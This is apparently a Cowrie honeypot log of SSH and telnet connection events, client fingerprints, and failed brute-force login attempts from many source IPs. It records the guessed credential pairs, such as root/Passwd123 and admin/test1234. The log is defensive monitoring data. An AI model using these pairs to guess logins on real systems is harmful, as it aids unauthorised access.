{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:34.622051Z","src_ip":"152.200.205.179","session":"3c7c118a38c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passwd123","message":"login attempt [root/Passwd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:35.013009Z","src_ip":"152.200.205.179","session":"3c7c118a38c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:36.105005Z","src_ip":"152.200.205.179","session":"3c7c118a38c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.878952741622925,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:42.273570Z","src_ip":"170.64.224.25","session":"e1f28b7d821c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":57448,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa94e34c8066","protocol":"ssh","message":"New connection: 91.92.40.4:57448 (10.17.0.5:22) [session: aa94e34c8066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:42.472939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:42.476834Z","src_ip":"91.92.40.4","session":"aa94e34c8066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:42.557174Z","src_ip":"91.92.40.4","session":"aa94e34c8066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"q1w2e3","message":"login attempt [git/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:42.801965Z","src_ip":"91.92.40.4","session":"aa94e34c8066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:43.884267Z","src_ip":"91.92.40.4","session":"aa94e34c8066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":32924,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f8c5caee85f","protocol":"ssh","message":"New connection: 8.210.75.243:32924 (10.17.0.5:22) [session: 8f8c5caee85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:46.380880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:46.385924Z","src_ip":"8.210.75.243","session":"8f8c5caee85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":45020,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5f01d888a1b","protocol":"ssh","message":"New connection: 8.210.75.243:45020 (10.17.0.5:22) [session: b5f01d888a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:55.249415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:55.252783Z","src_ip":"8.210.75.243","session":"b5f01d888a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":51938,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cf216fe3921","protocol":"ssh","message":"New connection: 122.176.122.24:51938 (10.17.0.5:22) [session: 6cf216fe3921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:02.142481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:02.145570Z","src_ip":"122.176.122.24","session":"6cf216fe3921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:02.414254Z","src_ip":"122.176.122.24","session":"6cf216fe3921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test1234","message":"login attempt [admin/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:03.511847Z","src_ip":"122.176.122.24","session":"6cf216fe3921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:04.780933Z","src_ip":"122.176.122.24","session":"6cf216fe3921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:04.949736Z","src_ip":"8.210.75.243","session":"b1384d38fd65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":49230,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbe0676ce2ac","protocol":"ssh","message":"New connection: 87.106.29.151:49230 (10.17.0.5:22) [session: dbe0676ce2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:14.907451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:14.910365Z","src_ip":"87.106.29.151","session":"dbe0676ce2ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:15.007396Z","src_ip":"87.106.29.151","session":"dbe0676ce2ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57116,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c579bd02b50","protocol":"ssh","message":"New connection: 8.210.75.243:57116 (10.17.0.5:22) [session: 9c579bd02b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:15.401453Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2025$","message":"login attempt [root/Welcome2025$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:15.421869Z","src_ip":"87.106.29.151","session":"dbe0676ce2ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:16.519542Z","src_ip":"87.106.29.151","session":"dbe0676ce2ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":37740,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c8ad2396703","protocol":"ssh","message":"New connection: 129.121.102.3:37740 (10.17.0.5:22) [session: 9c8ad2396703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:24.711316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:24.714564Z","src_ip":"129.121.102.3","session":"9c8ad2396703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:24.741100Z","src_ip":"129.121.102.3","session":"9c8ad2396703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234*","message":"login attempt [root/Abcd1234*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:24.886385Z","src_ip":"129.121.102.3","session":"9c8ad2396703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.124.42.183","src_port":39420,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e63e0001d44","protocol":"ssh","message":"New connection: 125.124.42.183:39420 (10.17.0.5:22) [session: 8e63e0001d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:25.313794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:25.317314Z","src_ip":"125.124.42.183","session":"8e63e0001d44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:25.530661Z","src_ip":"125.124.42.183","session":"8e63e0001d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:25.914039Z","src_ip":"129.121.102.3","session":"9c8ad2396703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf12345","message":"login attempt [root/Asdf12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:26.675335Z","src_ip":"125.124.42.183","session":"8e63e0001d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:27.889814Z","src_ip":"125.124.42.183","session":"8e63e0001d44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48914,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc344d5023aa","protocol":"telnet","message":"New connection: 170.64.224.25:48914 (159.203.135.109:23) [session: cc344d5023aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:34.826706Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":57492,"dst_ip":"159.203.135.109","dst_port":22,"session":"6562ae7b9799","protocol":"ssh","message":"New connection: 159.65.58.200:57492 (159.203.135.109:22) [session: 6562ae7b9799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:41.102717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:41.331532Z","src_ip":"159.65.58.200","session":"6562ae7b9799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:41.334755Z","src_ip":"159.65.58.200","session":"6562ae7b9799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sotnikov","password":"123456","message":"login attempt [sotnikov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:42.611013Z","src_ip":"159.65.58.200","session":"6562ae7b9799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:43.899884Z","src_ip":"159.65.58.200","session":"6562ae7b9799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":33618,"dst_ip":"159.203.135.109","dst_port":22,"session":"e23976f51fdc","protocol":"ssh","message":"New connection: 103.199.16.90:33618 (159.203.135.109:22) [session: e23976f51fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:45.356814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:45.362968Z","src_ip":"103.199.16.90","session":"e23976f51fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.24043226242065,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:45.490894Z","src_ip":"94.23.66.112","session":"21ccefd054e0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:45.588228Z","src_ip":"103.199.16.90","session":"e23976f51fdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"air","password":"air123","message":"login attempt [air/air123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:46.471168Z","src_ip":"103.199.16.90","session":"e23976f51fdc","protocol":"ssh"}
